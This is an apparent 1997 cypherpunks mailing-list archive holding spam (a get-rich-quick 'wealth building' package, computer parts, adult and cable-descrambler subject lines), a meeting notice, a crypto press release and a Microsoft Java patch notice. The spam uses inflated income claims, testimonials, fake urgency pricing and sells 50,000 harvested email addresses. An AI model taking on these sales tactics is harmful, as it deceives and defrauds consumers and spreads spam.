>>>   Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM"   <<<

* UNLIMITED  INCOME  POTENTIAL!

* No Inventory To Carry and Very Easy To Reproduce!

* Extremely High Mark Up!

* Easy and Inexpensive to Ship Via First Class Mail or UPS!

* Ideal as a Primary Offer or as a Follow Up Offer to 
  Existing Customers!

* A Very Large Market With A MASSIVELY High Market Demand!

* LOW START-UP COSTS With NO REAL COMPETITION!

* You Can Operate It Anywhere and Your Income Will 
  Last for Years!

* YOU WILL RECEIVE FULL LIFETIME REPRINT AND RESELL RIGHTS!!

Reprint and Resell Rights Mean That You Have FULL Authority 
to Sell A Particular Disk or Report. In Addition, You Also Have 
The Authority to Sell These Same Reproduction Rights to Others.
Without Ever Paying ANY Royalties.

The Profit Margin is VIRTUALLY UNLIMITED, because you 
purchase all this Valuable Information ONCE and sell it OVER 
and OVER and OVER Again!

And because you own the LIFETIME Reprint Rights to these valuable
reports, you can edit or alter them any way you like. Your only limits
are your own imagination!

Don't worry if you've never tried selling information reports before.
The INSIDER SECRETS revealed in the Net.WWWorth STRATEGIES
"INTERNET WEALTH BUILDING SYSTEM" will teach you everything you'll
ever need to know to SUCCEED on the Net!  

In fact, the information ALONE, without any reprint rights, is worth 
hundreds, perhaps thousands of dollars! We think you'll be amazed by the 
Quality of these Books, Reports and Guides.  Just follow these Proven 
Money-Making techniques and Orders Will Begin to FLOOD your mailbox 
with CA$H !!

************************************************************************
        OK--Let's get down to the nitty gritty!

I'm sure you're thinking, "O.K.  Sounds good, but how much is this gonna 
set me back financially?"  You've seen what others are charging for 
information that's not nearly as comprehensive as this...$200? $150?
or even $75?

	>>>  Well, Prepare To Be Shocked!  <<<

   This Entire INTERNET WEALTH BUILDING SYSTEM IS ONLY $59.95*

* This Package is normally $59.95, but because so many of our 
subscribers and others have emailed Net.WWWorth STRATEGIES asking us
for information on marketing online,  we are running
the following Special with this one-time-only  test-market.

This SYSTEM will teach YOU EVERYTHING we are doing, and how YOU can be
SUCCESSFUL at it, too!  So how about a SPECIAL TEMPORARY PRICE of 
ONLY *** $39.95!!!

>>>>>>>>>>>>>>>>>>> YES!!!  ONLY $39.95 <<<<<<<<<<<<<<<<<<<<<<<<

That is ONE THIRD OFF the regular low price!  You save TWENTY DOLLARS!

>!!!!!NOTE==> See ORDER FORM Below for temporary SPECIAL PRICE!!!!!
>  We're making this Entire SYSTEM available for JUST $29.95--
>                 That's HALF OFF!!!
>   (This is not our regular offer. This offer is only effective 
>    through the last week of May '97!)  ORDER NOW!

> *** ALSO See ORDER FORM for Special Bonus Disk Offer! ***

A few people have told us this whole thing sounds too good to
be true!  Well I assure it's not!  But you don't have to take our
word for it.  Here are some recent customer comments from new
NETrepreneurs who ordered their SYSTEM just a few weeks ago....

---------------------------------------------------------------------
>Dear Net.WWWorth STRATEGIES,
>
>Thanks for the "INTERNET WEALTH BUILDING SYSTEM!"
>I had the hardest time putting it down until I had read (or at least
>looked at) almost all of the reports.  There is so much valuable
>information here!  I've owned the SYSTEM for only three weeks now
>and I already have sold lots of copies.  Almost everyone I sent the 
>Sales Letter your information taught me how to write has bought the 
>Package!  I plan on making a ton of money with this over the next few
>months! Thanks for this amazing opportunity!
>
>Mike Stratton, UT

---------------------------------------------------------------------
>Thank You Net.WWWorth STRATEGIES!
>
>I followed your SYSTEM exactly as you taught me to, and within 10 days
>from receiving my package, I have made 37 sales!  This system is
>INCREDIBLE!  I can't wait to see just how much MORE amazing the 
>results are going to be, for me AND my customers!
>
>Doug Lewis, WI
---------------------------------------------------------------------

TAKE ACTION and SEE some RESULTS FOR YOURSELF!  Whether you're anxious
to use the information for yourself, or to market and resell the product
the way the SYSTEM teaches you to do,  IT'S TIME TO TAKE YOUR CURRENT
SUCCESS TO THE NEXT LEVEL!

Even if you sell only ONE SYSTEM, you've broken even!  Everything after
that is PURE PROFIT!

Remember: Others Are Selling Inferior Information for Hundreds 
of  Dollars More, and Our Program is Priceless! Yet it Can be Yours 
For Only $39.95!  Now that you know what you stand to gain, let's 
consider what you have to risk. "Just $39.95," I hear you say?--Wrong!!!

This is a totally RISK FREE opportunity!  We offer a 30 DAY 
FULL MONEY BACK GUARANTEE!  If for any reason you feel that this 
opportunity is not for you, simply return the SYSTEM for an IMMEDIATE
REFUND!  NO QUESTIONS ASKED!

..And remember, not only will you be learning the most up to date
information about making money online, you'll also be teaching others 
how to succeed! (And making money in the process!)

TAKE ACTION NOW!  

You have NO RISK, and UNLIMITED OPPORTUNITY to succeed!
=====================================================================
_____________________________________________________________________
Ordering the New Net.WWWorth STRATEGIES INTERNET WEALTH-
BUILDING SYSTEM is easy!

You can send your order by:
Email, FAX, or Post-Mail

Net.WWWorth STRATEGIES accepts:

Personal Checks, Money Orders, "Quick Check" Checks by FAX,
VISA and MASTERCARD


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

>--Print this form--         --ORDER FORM--                 --cut here--

Your information:  Please fill in completely.

NAME________________________________________________________

ADDRESS_____________________________________________________

CITY____________________________STATE________ZIP____________

E-MAIL ADDRESS______________________________________________
(You will receive E-mail confirmation the day your order is received.)

TELEPHONE # _____________________________(required for personal checks)

To Order, CHECK ONE:

_________ I am ordering within 3 DAYS from receiving my Complimentary
          Issue of the "NWS Internet Newsletter."
          Please include me in this exclusive Test-Market Special and
          send me the complete "INTERNET WEALTH BUILDING SYSTEM"  AND
          ALL of the FREE Bonus Reports...
          for the Incredible Price of only 
          $39.95 + $5.95 S&H within the U.S. and Canada ($45.90 total)
          $39.95 + $8.95 S&H outside the U.S. and Canada ($48.90 total)
>>> ***Disregard Above Price!  
    Temporarily only $29.95 + 5.95 S&H = $35.90 total!!!
>   HALF OFF THE REGULAR PRICE -- GOOD ONLY IF ORDERED BY MARCH 31!!!

_________ I am ordering after the 3 DAY period.  Send me the complete
          "INTERNET WEALTH BUILDING SYSTEM" for $59.95 + $5.95 S&H.
          ($65.90 total)

_________ Please send me The Bonus Disk ...for ONLY an additional $15.
          BONUS DISK contains 50,000 Responsive email addresses of 
          Online Opportunity Seekers (normally priced at $79.95.)
          AND The DeskTop Money Machine (normally priced at $24.95.)
          ... ALL for ONLY an additional $15.

Send Payment for AMOUNT SELECTED ABOVE.
********************************************************************

METHOD of PAYMENT:

_________ Check (by Postal Mail)           _________ VISA
_________ Check by FAX (QuickChex)         _________ MASTERCARD 
_________ Money Order  

For Credit Card Orders...

Name as it appears on card__________________________________________

Credit Card Account Number__________________________________________

Exp. Date_____________Signature_____________________________________

____________________________________________________________________
* Please make check or money order payable to: Net.WWWorth STRATEGIES

     Email orders to:  mailto:NWS@net-wwworth.com
OR FAX your order to:  Net.WWWorth STRATEGIES  (608) 825-3403  

OR Postmail order to:  Net.WWWorth STRATEGIES
                       4514 Monona Drive, Suite 490
                       Madison, WI 53716

*** NOTICE!
PLEASE Remember to E-mail us with your Name and Shipping Address
to let us know you are placing an order.  In the Subject Line Put: 
"INTERNET WEALTH BUILDING SYSTEM"  We will have Your Package
Ready to Mail Out PRIORITY MAIL to you the day we receive it. 
We want to make sure You to Get Your Order as Fast as Possible.

E-mail us at==> mailto:NWS@net-wwworth.com


      /=====================================================\
        *** If Faxing your payment by "Quick Check" ...                   
                          
                             
            
        1. Please tape completed                                      
           check here ==>                                           
                                                                   
        2. Fax this Order Form to (608) 825-3403.                                                                                                                                                               
           (your account will be charged electronically.)             
                                                                 
     \======================================================/

We are always available by E-Mail for Complete FREE Consultation. 
We Want to Help You Succeed in Marketing YOUR Business Online. We 
will help you in any way we can to assist you in reaching your goals. 

The Opportunity Is Yours, Why Not Make Some MONEY With Your Personal
Computer! It's Easy, Fun, and Very, Very Profitable!!!

THE MARKET IS HERE - TODAY!  TAKE ADVANTAGE OF IT!  NOW!

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 2 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
                   PERFECT CREDIT!  
   Free Software to Repair or Improve Your Credit!
       
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>>>             Download for FREE               <<<
a valuable software program to help you improve and 
secure an excellent credit rating!
             
  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***

  Everything you need to repair your own credit.  FOR FREE! 

  Learn about your rights to dispute credit report statements 
  that are:  inaccurate, out dated, don't belong to you or 
  can't be verified!  
  (FACT: one third of ALL credit profile entries are INACCURATE!)

   * Use this program to obtain your credit report. 
   * Have at your disposal pre-written, proven effective
     dispute statements.
   * Learn how to start fresh with a AAA Credit Report.
   * Learn how to use your Federally granted legal rights to challenge 
     negative entries in your credit profile.

  This Credit Repair program will guide you through the steps 
  necessary to restore your credit rating LEGALLY, and with the 
  least amount of effort and cost!  

  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***
  Everything you need to repair your own credit.  FOR FREE! 

  CLICK HERE ==> ftp://gen.com/pub/wwworth/CreditRepair.exe

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 3 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
        Using Online Classified Advertising for FREE
      (Over A Dozen Ad Sites you can use NOW for FREE!)
  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 by: Morgan Westerman

 Hello fellow "Net-reprepreneur"

 In the time you've been using the Internet, you've possibly responded
 to an Online Classified Ad, or perhaps you've placed an Ad on the
 WWW or with Newsgroups. Maybe you're like I was a few months ago, and
 are fairly new to the Internet--so maybe you haven't yet learned how
 powerful the 'Net can be for whatever business you're in.

 I'd like to pass on something to you for FREE that I wish 
 someone had shared with me several months ago when I was just getting
 started advertiszing online.
                                                                           
 You already know classified ads work, but where do you place them on 
 the Internet to get the best responses?  And where are the FREE ones
 with no strings attached?  Did you even know they exist?
 
  *** Here is a listing of over A DOZEN SITES where you can place ***
              FREE CLASSIFIED ADS on the Internet!

 I am using almost all of them myself...and am glad to say I will earn
 over $12,000. this month (May) from business generated from ads
 such as the ones I've placed on these sites. And they're all FREE!
 Good Luck!
 ______________________________________________________________________
 ______________________________________________________________________

***** Net.WWWorth STRATEGIES TOP 10 FREE Classified Ads Sites ******

 1. http://www.gatewayads.com/index.html --- The Cyber Shopping Centre
 2. http://www1.clearlight.com/~abotaleb/classifieds/index.html - Entr
 3. http://www.netimages.com/classifieds.html ------------- Net Images
 4. http://peoplesmarket.com/ ---------------- The Peoples Marketplace
 5. http://www.americanet.com/Classified ------------------ Americanet
 6. http://www.inetexchange.com/submit.htm --------- The Inet Exchange
 7. http://www.icemall.com/allabout/links.html --------------- Icemall
 8. http://www.1second.com//index.htm ------------------- 1 Second.com
 9. http://ep.com/ -------------------------------------------- E-Page
10. http://www.jetcity.com/~perfect/welcome.html -------- Business Opp
_______________________________________________________________________

PLUS a few MORE!!! 
      
   * http://www.freeclassifieds.com/
   * http://webcom.com/abc/abchome.html
   * http://www.dollarads.com  --------- FREE for the first week
   * http://www.bargain-classifieds.com
   * http://www.comcorner.com/
   
  ***  This one, from the Top 10 List above is a 
       One-Stop index of OVER 90 of the best
       Classified Ad Sites on the Internet!
       *** http://www.icemall.com/allabout/links.html  
 ______________________________________________________________________
 ______________________________________________________________________
 Note: Every one of these Free Classifieds Sites is effectively
 operational and responsive as of 5-20-97.  There are many more sites
 that have Free Classified Ads, but I have eliminated many that do not
 maintain their site well or generate significant traffic.

 This list of highly effective Classified Ad Sites has taken me many, 
 many hours over several months to compile and qualify.  I hope you can
 put this list to good use.  I can tell you...Free Ads work!
 
 If you would like more information about the STRATEGIES I am using so
 successfully, or other helpful pointers on advertising and marketing
 online, please feel free to contact me personally at Net.WWWorth                                                                                                 STRATEGIES.
 STRATEGIES.

 I wish you success!
 Sincerely,
 
 Morgan D. Westerman
 President -- Net.WWWorth STRATEGIES
 mailto:admin@net-wwworth.com


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//////////////////////////////////////////////////////////////////////// 

 _____________________________________________________________________
|_____________________________________________________________________|
     (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997

To SUBSCRIBE to the "Net.WWWorth STRATEGIES Internet Newsletter," and 
receive your FREE bi-weekly copy filled with valuable information...
mailto:newsletter@net-wwworth.com  with "SUBSCRIBE" in the subject.

to UNSUBSCRIBE, mailto:newsletter@net-wwworth.com with the word
"UNSUBSCRIBE" in the subject.

The Staff at Net.WWWorth STRATEGIES would like to thank you for taking
the time to share a few of our STRATEGIES for SUCCESS.  
We Wish you the BEST of WEALTH and PROSPERITY!

* Note - 
This electronic newsletter is Copyright (C)1997, Net.WWWorth STRATEGIES.
No portion may be altered or reproduced without prior written consent 
from the publisher.       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: actn@artnet.com.br
Date: Fri, 20 Jun 1997 22:16:54 -0700 (PDT)
Subject: Newsletter
Message-ID: <199705231601.LAC19852@bocage.artnet.com.br>
MIME-Version: 1.0
Content-Type: text/plain


Please don't hit reply, send all inquiries to 
a7@mary-world.com
http://www.mary-world.com/ans

Are you interested in receiving our monthly free newsletter on the 
latest Computer technologies and the internet. Please send an email 
requesting to be added to our database, or check our web site for the 
latest news. If you have signed up already, please disregard this request.

Download our catalog from our Internet Website http://www.mary-world.com/ans

HARDWARE TRENDS
BREAKING SPEED LIMITS
Early benchmark tests on a prototype 300-MHz system are promising

This fall will mark the arrival of a class of machines based on Intel's
300-MHz Pentium II processors, and early benchmark tests on some of
the prototypes show healthy-- if not astounding-- performance gains over previous-generation Pentium systems. At NEC's invitation, PC Magazine 
had the chance to run tests on the company's new 300-MHz PowerMate Professional, due to ship in September. Although the configuration we 
tested was preliminary, the machine posted some impressive numbers.

On the ZD High-End Winstone 97 test, the PowerMate earned a score of 
34.8. This test runs a set of applications that heavily exercise the CPU 
and graphics subsystem, but purely CPU-intensive tests were really where
 the machine did well. On our CPUMark32 test, it posted a score of 735; on 
CPUMark 16, the system earned a speedy score of 556.

To put these results in perspective, note that our recent test of the 266-MHz
 Dell Dimension XPS H266, resulted in a CPUMark32 score of 719, as 
opposed to the NEC system's 735, and the Dimension was the fastest by a
 wide margin in a group of systems based on Intel's 266-MHz Pentium II processor. The Dimension did, however, post a slightly higher score on 
High-End Winstone 97 than the PowerMate--36 rather than 34.8-- thanks to
 its advanced graphics subsystem. Most of the other 266-MHz system in 
our roundup posted speed scores well behind the PowerMates.  Again, the configuration is still preliminary.

More Adrenaline This Fall

In the fall, Intel plans to ship its 440LX chip set, which supports Accelerated Graphics Port (AGP) technology and will work with a new dedicated bus for graphics. The speeds posted by 300-MHz machines-- especially on
graphics tasks--are likely to benefit greatly from these technologies, as 
bus bottlenecks currently undermine high-speed processors. Although tests
show 300-MHz system to be marginally faster than 266-MHz Pentium units,
the new chip set should provide a healthy shot of adrenaline.

Many customers will want to time their purchases of 300-MHz machines to correspond with the chip set's arrival, but NEC's $4000 PowerMate is likely 
to ship in advance of the chip set. Also note that Intel has been speeding up
price drops on its high-end chips in recent years, and 300-MHz systems
should be substantially cheaper than $4000 by 1998. They promise to be an 
important step for Intel as it faces increased competition in high-end chips
 from AMD and Cyrix.

   
***************** MEMORY**************************
HIGHEST QUALITY. LIFETIME WARRANTY Call for any type ofMemory not 
listed.Memory for Laptops and Desktops, All AppleMAC or any POWERBOOKS.

EDO/ or fast page Simms 72pin Memory 2k, 60ns
8MB                     $35
16MB                    $65
32MB                    $119
168pin Dimms, 60ns
16MB DIMM               $75
32MB DIMM               $135
64MB DIMM               $265

*************** COMPUTERS ***************
Pentium 200MMX 16/3GB 20xCD, 15" Color Monitor,
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Compaq Laptop, P120, 16/1GB, 10.4 Active Mtx, 8xCD ROM $1645

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10





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22345494@mailexcite.com
Date: Sun, 21 Sep 1997 12:32:38 -0700 (PDT)
To: postmaster222@mailexcite.com
Subject: Over 100 Adult Internet Channels Free!!
Message-ID: <8123123763182736128736.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.toad.com>
Date: Wed, 7 May 1997 03:15:58 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: May 10th San Francisco area Cypherpunks Meeting Announcement
Message-ID: <199705071015.DAA00670@ecotone.toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:	San Francisco Bay Area Cypherpunks Monthly Phyical Meeting

When:	Saturday May 10th, 12 noon

Where:	PGP World Headquarters, San Mateo, California
	Bayview Federal Building, second floor conference room
		2121 S. El Camino Real, San Mateo, California
		South of the intersection of Highway 92 and El Camino Real
		http://www.pgp.com/pgpcorp/contactpgp.cgi#head
		See attached detailed directions below.

Possible
Agenda:	Political situation update for GDR, Brittan, USA, somone?
	Crypto at the 38th IETF Meeting report, Hugh Daniel
	Hidden USSA Citizen Unit ID & Reporting law PASSED US Congress!
	P/MIME & PGP beta testing update, Dave del Torto
	Hot topics of the day, what ever you need to talk about.
	Future Meetings


Dave's Directions to PGP's HQ in San Mateo (fossil fuel version).

.................................. MACRO ...................................

+ From the North Bay:
  - Hwy 101 South (use right lanes after passing SFO)
  - EXIT Fwy 92 West (move to center lane immediately after ramp)...
  or
  - 280 South (take Hwy 92 East toward the Bay)...

+ From the South Bay:
  - 101 North
  - EXIT Fwy 92 West (toward Half Moon Bay)...
  or
  - 280 North
  - EXIT Hwy 92 East (toward the Bay)...

+ From the East Bay:
  - San Mateo Bridge (Hwy 92 West)
  - GO past Hwy 101...

+ From Hale-Bopp:
  - LEFT turn at Beta Pictoris.
  - LOCATE greenish-blue planet third out from star w/9-10 planets in orbit.
     (High radiation readings make it obvious.)
  - PROCEED to Northern hemisphere.
  - FIND the largest body of water.
     (Travel in the direction of the planet's rotation until you reach
      the longest coastline running between the polar ice-caps.)
  - FOLLOW the biggest N-S seismic fault.
  - RIGHT turn at the large reddish suspension bridge.
  - SOUTH along coast to large reservoir at intersection of Hwy 280 and 92.
  - WEST on Hwy 92...

.................................. MICRO ...................................

+ Once you're on Hwy 92 (from either 280 or 101)
  - EXIT at SOUTH El Camino Real
     (From 101 it's about a mile, the 2nd of two El Camino exits)
     (From 280 it's about 7 miles, after you've come down a steep grade,
      levelled out and passed under an overpass)
  - Curve around and down under freeway: you're now travelling south on
    El Camino Real.
  - Get in the LEFT lane *immediately*.
     (Directly in front of you, you can see the Bayview highrise a couple
      of blocks away.)
  - LEFT on 20th.
     (The very first traffic light after exit ramp. Taco Bell on left).
  - RIGHT turn at next stop sign (Palm St.).
  - PROCEED 1.5 blocks.
     (Parking Garage entrance at rear of Bayview building is on your right.)
  - PARK on the 2nd level.

.................................. NANO ...................................

+ Once you've parked your flying saucer in the Garage:
  - STAIRS (or Elevator) to the main level, step out and...
  - WALK WEST across the courtyard to the main (tallest) building.
  - PASS through the doorway in the stand-alone exterior "glass wall"
      and approach the "information" window (also the guard station) on
      the north side of the building.
  - GET the guard's attention (preferably *not* by waving a firearm).
      Use the passwords ("PGP" or "cypherpunks") and you'll be admitted.
      If the guard's on a break, call my cellphone 415.730.3583.
  - ELEVATOR to 2nd Floor.
     (The meeting room is on left side, slightly down the hall)
      PGP's offices are on the 9th Floor (soon the 10th too).

............................................................................

For CalTrain-ers, get off at the San Mateo station near the Bay Meadows
horse racing track and head for the tallest building around with the huge
"Bayview" sign on top.

For the bus, take any line running on El Camino Real to the intersection of
20th in San Mateo and dismount. You're there.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53807121@earthlink.net
Date: Wed, 21 May 1997 20:54:32 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
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</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jack Oswald <joswald@rpkusa.com>
Date: Tue, 20 May 1997 23:39:48 -0700 (PDT)
To: "'maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Message-ID: <01BC6572.43D8F3A0@1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm 

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm 

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com, http://www.rpk.co.nz 
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss application specific integrated circuit (ASIC) design firm have chosen the RPK Fast Public Key Cryptosystem to provide strong cryptographic security in a next generation wireless electronic transactions application.  At the same time, EPFL and ADESA unveiled HAWK a new generation cryptography-enhanced microprocessor specifically designed for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive evaluation of all existing cryptosystems based on well known and understood cryptographic techniques," said Maurice Jaccard, Managing Director of ADESA, Inc. "With RPK there are no compromises. We get uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc. "Having RPK chosen by the Swiss for this breakthrough electronic-commerce application is the strongest endorsement we could possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype application that promises to become the "wallet of the future".  This new wireless electronic transaction application may take the form of a credit card, a watch or a key chain and will sport features analogous to the leather wallets used today by billions of people worldwide.  Early designs of the system allow the user to withdraw and hold cash in multiple currencies, as well as, purchase and hold vouchers for hotels, planes and car rentals all through the use of wireless communications technology.  Officials in charge of the project envision that such devices could also become a personal key chain for gaining access to motor vehicles, offices and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype far exceeded existing smart card implementations based on the RSA and other algorithms.  The RPK technology performs the necessary encryption functions in less than 10 milliseconds using an 823-bit key compared to the best performing RSA-based equivalents that require greater than 100 milliseconds to perform the same type of function using a much weaker 512-bit key.  The application is not limited to 823-bit keys.  The design of the system, based on the new HAWK processor is flexible and can accommodate and process various sized keys, smaller or larger than 823 bits based on downloadable parameters.  ADESA officials explained that the simplicity of the RPK algorithm makes it much simpler to implement than the popular RSA approach.  It was RPK's simplicity, offering a much faster and cheaper solution while providing even higher security, that drove the choice over RSA for this application.  


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on mathematics widely used in cryptography today.  It was designed to be immediately commercially viable without the years of study that a new area of mathematics normally requires, such as the Elliptic Curve Cryptosystem (ECC).  The source of the security for RPK is the same as that of Diffie-Hellman key exchange, a widely used and well studied cryptographic technique. RPK offers real advantages for high speed networking, SmartCard, wireless communication applications as well as high volume software processes such as credit card transactions. 

RPK has at its core an invention called a Mixture Generator.  In the preferred implementation, three fairly long linear feedback shift registers are used.  This state machine has two modes of operation.  One that uses the shift registers for exponentiation and the other as a generator of a random stream of bits used in a combining phase for the actual encryption.  Effectively, RPK allows for the amortization of two "costly" exponentiations over the entire length of a message because the core engine is used to initially establish a secure state of the machine and then switches modes to perform very high speed encryption.  This has been referred to as a paradigm shift where the operation of encryption does not require the costly calculations that an RSA or even an ECC implementation would require for each block of data that is about the size of the key.  This mechanism can also be implemented in silicon quite efficiently such that at high strength it is much cheaper to produce than alternative technologies.  Finally, it is also possible to create a Mixture Generator that is made up of Elliptic Curve groups which would provide a similarly speedy and efficient initialization mode that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than three years of research and development conducted at the EPFL in Lausanne, Switzerland in the area of high speed compression and encryption.  The HAWK processor will benefit most cryptography implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet for implementing cryptographic processes in silicon," said Bill Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK fast public key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption technology.  RPK was invented and originally patented in New Zealand.  The company is therefore unaffected by restrictive U.S. export rules.  RPK has been successfully exported to virtually all countries of the world at high strength.  The company's headquarters are based in San Francisco, California, USA, with an offshore research and development center located outside of Auckland, New Zealand. http://www.rpk.co.nz 

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, Switzerland.  The school is known for its work in advanced processor design.


***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <sbn@MICROSOFT.COM>
Date: Tue, 20 May 1997 22:18:07 -0700 (PDT)
To: SBNMEM@LISTSERV.MSN.COM
Subject: Microsoft Responds To Java Security Issues By Posting Fix
Message-ID: <300484772A32CF11BEF200805F50855D036CADED@RED-78-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

* MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING
FIX
* ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
* SITE BUILDER WORKSHOP ADDS DYNAMIC HTML AREA


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

* EDGEWORX OFFER TO SITE BUILDER MEMBERS
* WEBMEN TALKING IS NOW BIWEEKLY
* LIMITED TIME ONLY - AWARD-WINNING JAVA AUTHORING TOOL
* EG SOFTOWARE'S WEBTRENDS WEB SERVER LOG FILE ANALYZER
* HIT LIST PROFESSIONAL 3.0 - TRIAL VERSION


PLEASE NOTE: Email format restrictions may not allow a
URL to fit on one line. Thus, when you click the URL
line in the email message, you may get a browser error
(e.g., non-existent link).   If the URL does not seem to
work, please make certain you select, copy, then paste
the entire link address into your browser's target
address field.  Thank you.


NEWS & ANNOUNCEMENTS
MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING FIX
Researchers at the University of Washington recently
notified Microsoft and other vendors of several dozen
anomalies in Java virtual machines that could
potentially result in Java applets causing a system
crash and/or loss of data.  Microsoft today announced
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The researchers with the Kimera Project in the
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Their tests uncovered a variety of Java anomalies,
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and 24 which affect Sun Microsystem's virtual machine.

The anomalies are in the bytecode "verifier", which
enforces the security of the Java sandbox. There have
been no known attacks that exploit these anomalies, but
they could potentially allow a malicious application to
get access outside the sandbox.  More information is
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Project website at
http://www.washington.edu/newsroom/news/k051997.html.

The updated version of the Microsoft virtual machine is
available to all users of Internet Explorer, Internet
Information Server and Visual J++ from
http://www.microsoft.com/java. All users and developers
are encouraged to download the new version of the
virtual machine.  The updated version will also be
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products containing the virtual machine.

ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
Because the Site Builder's Exchange discussion group
has been so busy lately, we've decided to divide it into
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Forum offers ongoing discussions on following topics:
Internet Explorer/HTML, Java/Visual J++, Active Server
Pages and Web and Graphic Design. Check out this cool
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It's time to sign up!

SITE BUILDER WORKSHOP ADDS DYNAMIC HTML AREA
Site Builder Workshop has added a whole new section just
for information on Dynamic HTML at
http://www.microsoft.com/workshop/author/dhtml/.  This
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HTML authors--and their Web pages--and makes interactive
components easy to build.  Microsoft's Dynamic HTML
technology gives authors creative control so they can
manipulate any page element and change styles,
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the page is loaded.

MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT
EDGEWORX OFFER TO SITE BUILDER MEMBERS
Antares is offering all Site Builder members the
opportunity to purchase the EdgeworX Developer Edition
at the exceptional promotional price of $99 (vs. $399
List Price).  This promotional price will be available
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Builder members.

-This special promotional price is available only
through a link on the EdgeworX download area of the Site
Builder Network site.

-Purchasers will be required to provide their SBN
Membership to claim the discount.

-It is not necessary to download evaluation copy of
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Take advantage of this special offer and learn why
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tools division at Microsoft.

"EdgeworX from Antares Alliance Makes VB Programmers
into Web Experts." - Michael Goulde, Seybold.

EdgeworX is a VBA and DCOM based object-oriented
development and execution framework for creating dynamic
Web applications.  Based on Microsoft's Visual Basic for
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library of DCOM-enabled ActiveX objects, which enable
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interactive Web applications. Download your evaluation
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WEBMEN TALKING IS NOW BIWEEKLY
Our popular Site Builder Network Magazine question-and-
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To increase or decrease the frequency of e-mail or
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click "Change Your Membership."  You will find check
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wraith@ahrens.callnet.com
Date: Wed, 21 May 1997 00:13:46 -0700 (PDT)
Subject: No Subject
Message-ID: <199705210713.DAA29919@ahrens.callnet.com>
MIME-Version: 1.0
Content-Type: text/plain


From: wraith@ahrens.callnet.com
To: cypherpunks@toad.com
